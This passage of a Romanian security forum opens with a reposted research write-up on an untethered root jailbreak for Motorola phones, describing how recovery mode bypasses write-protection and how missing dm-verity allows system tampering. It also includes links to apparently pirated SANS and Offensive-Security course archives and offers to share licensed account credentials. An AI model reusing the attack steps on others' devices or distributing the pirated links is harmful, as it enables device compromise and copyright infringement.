and detected by security controls. First, write-protection is enabled on the system partition (and others) by ABOOT upon boot. Unfortunately, this can be easily circumvented by the attacker by exploiting initroot slightly different – instead of instructing the bootloader to load the platform OS (by issuing fastboot continue), he can load the recovery OS, again, with the malicious initramfsinjected into memory. Since the recovery OS needs write access on the system partition, the bootloader does not enable write-protection when booting into the recovery mode: if ( v5 == BOOTMODE_RECOVERY ) ssm_en_write_protect = 0; if ( ssm_en_write_protect ) { write_protect_partition("system"); write_protect_partition("oem"); LABEL_13: write_protect_utags(); write_protect_partition("sp"); [...] Then, the attacker can simply mount system and modify files. Sadly, although tampering with system can be detected by dm-verity, the fstab file under the Moto G4 boot image (and others), and in contrast to the G5 one, does not specify the verify attribute over the system partition. Controlling system allows the attacker to do much havoc. For example, the attacker now owns the Android runtime, can replace apps with malicious ones, can sideload privileged apps, and more. Conclusion In this blog we showed that having an ephemeral unrestricted root access is sufficient for achieving a persistent (untethered) jailbreak on affected Motorola devices. We demonstrated an end-to-end exploit for such devices, and also presented some other device-specific attacks. Sursa: https://alephsecurity.com/2017/08/30/untethered-initroot/
    1 point
  9. BASELINE – SANS & Offensive-Security am gasit linkul asta, dar nu stiu cat e de sigur. Nu am reusit sa descarc nimic inca. http://fullsoftshare.com/2017/07/28/baseline-sans-offensive-security/ Published July 28, 2017 by fssuploader BASELINE – SANS & Offensive-Security BASELINE - SANS & Offensive-Security BASELINE – SANS & Offensive-Security File size: 85 GB The SANS Institute (officially the Escal Institute of Advanced Technologies) is a private U.S. for-profit company founded in 1989 that specializes in information security and cybersecurity training. Topics available for training include cyber and network defenses, penetration testing, incident response, digital forensics, and audit. The information security courses are developed through a consensus process involving administrators, security managers, and information security professionals. The courses cover security fundamentals and technical aspects of information security. The Institute has been recognized for its training programs and certification programs. SANS stands for SysAdmin, Audit, Network and Security. BASELINE – SANS & Offensive-Security SANS Programs The SANS Institute sponsors the Internet Storm Center, an internet monitoring system staffed by a global community of security practitioners, and the SANS Reading Room, a research archive of information security policy and research documents. SANS is one of the founding organizations of the Center for Internet Security. SANS offers news and analysis through Twitter feeds and e-mail newsletters. Additionally, there is a weekly news and vulnerability digest available to subscribers. SANS training When originally organized in 1989, SANS training events functioned like traditional technical conferences showcasing technical presentations. By the mid-1990s, SANS offered events which combined training with tradeshows. Beginning in 2006, SANS offered asynchronous online training (SANS OnDemand) and a virtual, synchronous classroom format (SANS vLive). Free webcasts and email newsletters (@Risk, Newsbites, Ouch!) have been developed in conjunction with security vendors. The actual content behind SANS training courses and training events remain “vendor-agnostic.” Vendors cannot pay to offer their own official SANS course, although they can teach a SANS “hosted” event via sponsorship. In 1999, the SANS Institute formed Global Information Assurance Certification (GIAC), an independent entity that grants certifications in information security topics. It has developed and operates NetWars, a suite of interactive learning tools for simulating scenarios such as cyberattacks. NetWars is in use by the US Air Force and the US Army. SANS Technology Institute As of 2006 SANS established the SANS Technology Institute, a graduate school based on SANS training and GIAC certifications. On November 21, 2013, SANS Technology Institute was granted regional accreditation by the Middle States Commission on Higher Education. SANS Technology Institute focuses exclusively on cybersecurity, offering two Master of Science degree programs (in Information Security Engineering (MSISE) and Information Security Management (MSISM)), and four post-baccalaureate certificate programs (Penetration Testing & Ethical Hacking, Incident Response, Cyber Defense Operations, and Cybersecurity Engineering (Core)). SANS continues to offer free security content via the SANS Technology Institute Leadership Lab and IT/Security related leadership information. BASELINE – SANS & Offensive-Security Download Rapidgator.net Offensive-Security - 101.tar.gz Offensive-Security - AWE - Advanced Windows Exploitation 1.1.tar.gz Offensive-Security - AWE - Advanced Windows Exploitation 2.0.tar.gz Offensive-Security - CTP - Cracking the Perimeter 1.0.tar.gz Offensive-Security - OSWP - WiFu.tar.gz Offensive-Security - PWB - Penetration Testing with Backtrack.tar.gz Offensive-Security - PWK - Penetration Testing with Kali.tar.gz SANS 401 - Security Essentials Bootcamp Style.tar.gz SANS 408 - Windows Forensic Analysis.tar.gz SANS 410 - ICS & SCADA Security Essentials.tar.gz SANS 414 - Training Program for CISSP Certification.tar.gz SANS 502 - Perimeter Protection In-Depth.tar.gz SANS 503 - Intrusion Detection In-Depth.tar.gz SANS 504 - Hacker Tools, Techniques, Exploits, and Incident Handling.tar.gz SANS 505 - Sans Securing Windows with PowerShell.tar.gz SANS 506 - Securing Linux & UNIX.tar.gz SANS 507 - Auditing & Monitoring Networks, Perimeters & Systems.tar.gz SANS 508 - Advanced Digital Forensics and Incident Response.tar.gz SANS 509 - Securing Oracle Database.tar.gz SANS 511 - Continuous Monitoring and Security Operations.tar.gz SANS 512 - Security Leadership Essentials for Managers.tar.gz SANS 517 - Cutting Edge Hacking Techniques.tar.gz SANS 518 - Mac Forensic Analysis.tar.gz SANS 524 - Cloud Security Fundamentals.tar.gz SANS 526 - Memory Forensics In-Depth.tar.gz SANS 531 - Windows Command Line Kung Fu.tar.gz SANS 542 - Web App Penetration Testing and Ethical Hacking.tar.gz uploading . . . UploadGiG.com Offensive-Security - 101.tar.gz Offensive-Security - AWE - Advanced Windows Exploitation 1.1.tar.gz Offensive-Security - AWE - Advanced Windows Exploitation 2.0.tar.gz Offensive-Security - CTP - Cracking the Perimeter 1.0.tar.gz Offensive-Security - OSWP - WiFu.tar.gz Offensive-Security - PWB - Penetration Testing with Backtrack.tar.gz Offensive-Security - PWK - Penetration Testing with Kali.tar.gz SANS 401 - Security Essentials Bootcamp Style.tar.gz SANS 408 - Windows Forensic Analysis.tar.gz SANS 410 - ICS & SCADA Security Essentials.tar.gz SANS 414 - Training Program for CISSP Certification.tar.gz SANS 502 - Perimeter Protection In-Depth.tar.gz SANS 503 - Intrusion Detection In-Depth.tar.gz SANS 504 - Hacker Tools, Techniques, Exploits, and Incident Handling.tar.gz SANS 505 - Sans Securing Windows with PowerShell.tar.gz SANS 506 - Securing Linux & UNIX.tar.gz https://uploadgig.com/file/download/975524f2B073d2cF/SANS 506 - Securing Linux UNIX.part1.rar https://uploadgig.com/file/download/877882ab1378a1a0/SANS 506 - Securing Linux UNIX.part2.rar https://uploadgig.com/file/download/dcADBc7114aad38b/SANS 506 - Securing Linux UNIX.part3.rar https://uploadgig.com/file/download/Dbe9Ab046178f56a/SANS 506 - Securing Linux UNIX.part4.rar https://uploadgig.com/file/download/1f3f0e77c76cddd6/SANS 506 - Securing Linux UNIX.part5.rar https://uploadgig.com/file/download/8c1b772C1222Ac73/SANS 506 - Securing Linux UNIX.part6.rar https://uploadgig.com/file/download/fb0fc2E40868D54f/SANS 506 - Securing Linux UNIX.part7.rar SANS 507 - Auditing & Monitoring Networks, Perimeters & Systems.tar.gz https://uploadgig.com/file/download/BD8c8f0218738304/SANS 507 - Auditing Monitoring Networks Perimeters Systems.part1.rar https://uploadgig.com/file/download/Eb50aba295106d91/SANS 507 - Auditing Monitoring Networks Perimeters Systems.part2.rar https://uploadgig.com/file/download/fd70Aa1DaeA60d17/SANS 507 - Auditing Monitoring Networks Perimeters Systems.part3.rar https://uploadgig.com/file/download/f22154242eb4bf1A/SANS 507 - Auditing Monitoring Networks Perimeters Systems.part4.rar SANS 508 - Advanced Digital Forensics and Incident Response.tar.gz https://uploadgig.com/file/download/2b4E28ce70B4D65a/SANS 508 - Advanced Digital Forensics and Incident Response.part1.rar https://uploadgig.com/file/download/052a3D9165f5cbed/SANS 508 - Advanced Digital Forensics and Incident Response.part2.rar https://uploadgig.com/file/download/34AEcA71c483fe15/SANS 508 - Advanced Digital Forensics and Incident Response.part3.rar https://uploadgig.com/file/download/d09D89e63a1e9C6F/SANS 508 - Advanced Digital Forensics and Incident Response.part4.rar https://uploadgig.com/file/download/0ae477221beC1d39/SANS 508 - Advanced Digital Forensics and Incident Response.part5.rar https://uploadgig.com/file/download/69a7C0Ee66d2a7f3/SANS 508 - Advanced Digital Forensics and Incident Response.part6.rar SANS 509 - Securing Oracle Database.tar.gz SANS 511 - Continuous Monitoring and Security Operations.tar.gz SANS 512 - Security Leadership Essentials for Managers.tar.gz SANS 517 - Cutting Edge Hacking Techniques.tar.gz SANS 518 - Mac Forensic Analysis.tar.gz SANS 524 - Cloud Security Fundamentals.tar.gz SANS 526 - Memory Forensics In-Depth.tar.gz SANS 531 - Windows Command Line Kung Fu.tar.gz SANS 542 - Web App Penetration Testing and Ethical Hacking.tar.gz https://uploadgig.com/file/download/409b75588e220737/SANS 542 - Web App Penetration Testing and Ethical Hacking.part1.rar https://uploadgig.com/file/download/c42A296e4Ed08fb5/SANS 542 - Web App Penetration Testing and Ethical Hacking.part2.rar https://uploadgig.com/file/download/cf4e28bE56c331b9/SANS 542 - Web App Penetration Testing and Ethical Hacking.part3.rar https://uploadgig.com/file/download/800cb7d93020cFbE/SANS 542 - Web App Penetration Testing and Ethical Hacking.part4.rar uploading . . .
    1 point
  10. Incearca https://btdb.unblocked.bid/torrent/dlzj16QNjOIrGQY36WZGUoZJlx3EjQU0vYb.html
    1 point
  11. Nu exista "diploma de programator". Exista: "te duce capu' sau nu".
    1 point
  12. Pai daca nici cu sursa in fata nu te pricepi, mergi frate si uita-te la TV pe Antena 1
    1 point
  13. Atentie la conturi cu vechime sub 3-5 luni , dupa adaugarea in 3-4-5-6 grupuri contul devine blocat. Atentie ce pe da-ti baniii.
    -1 points
  14. -1 points
  15. -1 points
  16. se pot urmari ip omu care ti-a dat dislike e client de al meu pana acu nu am avut nici o reclamatie pana te-ai trezit tu sa vb si vb mult prost si fara rost lasa cumparatori sa vorbeasca nu tu , eu nu ma bag unde nu imi fierbe oala si app e rau ca vreau sa fac un ban ? asta e ultimu raspuns catre tine nu mai imi consum bateriile pe tine
    -1 points
  17. Job: Instalare theme , modificare , optimizare theme wordpress si/sau prestashop Plata avans - lichidare prin paysafe , paypal , transfer bancar. Task-uri minore PM
    -1 points
  18. Si vrei sa te credem pe cuvant cu 16 posturi ? Apropo pentru numere de telefon nu necesita cumpararea de numere ( puteti obtine cate numere doriti free ) PM me , si va ofer solutie. Atentie la ce cumparati , este sfat. Nu vand nimic nu ma intereseaza dar aveti grija pe ce platiti 1-2-3-4-5-6-7-8-9-10 euro per cont. Am sa va indrum sa vi-le faceti singuri , cu tot cu numar de telefon. Sau cred ca am sa fac un tutorial ca sa nu mai vad la market place doar vanzare de conturi de facebook.
    -2 points
  19. Ofer la 1/10 persoane Reguli: 1. Nu schimba parola si userul deoarece este cu licenta 2. Este gratis asa ca nu te astepta sa te invat cum sa folosesti, te duci pe site-ul administratorului si inveti singur 3. Esti raspunzator de ceea ce faci --- sa il folosesti sanatos😋
    -3 points
×
×
  • Create New...